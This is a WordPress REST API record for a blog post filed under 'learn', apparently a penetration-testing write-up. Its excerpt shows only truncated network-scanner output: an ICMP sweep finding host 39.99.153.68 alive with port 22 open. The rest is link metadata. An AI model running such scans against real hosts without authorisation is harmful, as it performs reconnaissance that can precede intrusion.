permissions unable to send icmp packets start ping (icmp) Target 39.99.153.68 is alive [*] Icmp alive hosts len is: 1 39.99.153.68:22 open 39.99.15 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-264","post","type-post","status-publish","format-standard","hentry","category-wp","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/264","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=264"}],"version-history":[{"count":3,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/264\/revisions"}],"predecessor-version":[{"id":267,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/264\/revisions\/267"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=264"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=264"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=264"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}